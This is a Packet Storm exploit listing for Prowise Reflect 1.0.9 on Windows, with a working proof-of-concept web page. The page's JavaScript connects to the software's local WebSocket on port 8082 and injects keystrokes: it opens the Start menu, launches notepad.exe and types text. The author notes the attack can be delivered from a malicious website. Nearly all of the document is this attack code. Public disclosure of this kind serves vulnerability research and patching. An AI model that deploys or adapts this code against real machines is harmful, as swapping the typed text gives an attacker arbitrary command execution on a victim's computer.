Lucene search

K
packetstormRik LutzPACKETSTORM:166187
HistoryMar 02, 2022 - 12:00 a.m.

Prowise Reflect 1.0.9 Remote Keystroke Injection

2022-03-0200:00:00
Rik Lutz
packetstormsecurity.com
237
prowise reflect
version 1.0.9
remote keystroke
injection
vulnerability
windows 10
exploit
`# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection  
# Date: 30/10/2022  
# Exploit Author: Rik Lutz  
# Vendor Homepage: https://www.prowise.com/  
# Version: V1.0.9  
# Tested on: Windows 10  
  
# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection.   
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),  
# or by visiting a malicious website. This POC contains the malicious webpage.  
# Steps:  
# 1. Start Prowise reflect  
# 2. Try to connect to a reflect server e.q. ygm7u6od  
# 3. When it is connecting click exploit  
# - Start menu will open, types notepad.exe and types hello world.  
  
<!DOCTYPE HTML>  
  
<html>  
<head>  
  
<script type = "text/javascript">  
  
function wait(ms){  
var start = new Date().getTime();  
var end = start;  
while(end < start + ms) {  
end = new Date().getTime();  
}  
}  
  
function WebSocketTest() {  
var StateConnecting = new Boolean(false);  
if ("WebSocket" in window) {   
// Let us open a web socket  
var ws = new WebSocket("ws://localhost:8082");  
  
ws.onopen = function() {  
  
ws.send('{"event":"keyboard", "key":"super"}');   
wait(400);  
//character is slower  
// ws.send('{"event":"keyboard", "character":"notepad.exe"}'};  
  
// You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true  
var exploitcode = "notepad.exe"  
for (let i = 0; i < exploitcode.length; i++) {  
ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');  
}   
  
wait(300);  
ws.send('{"event":"keyboard", "key":"enter"}');  
wait(2000);  
exploitcode = "Hello world!"  
  
for (let i = 0; i < exploitcode.length; i++) {  
ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');  
}   
wait(200);  
};  
  
ws.onmessage = function (evt) {   
var received_msg = evt.data;   
};  
  
ws.onclose = function() {   
  
// websocket is closed.  
alert("Connection is closed...");   
};  
} else {  
// The browser doesn't support WebSocket  
alert("WebSocket NOT supported by your Browser!");  
}  
}  
</script>  
  
</head>  
  
<body>  
<div id = "sse">  
<a href = "javascript:WebSocketTest()">Exploit!</a>  
</div>  
  
</body>  
</html>  
  
`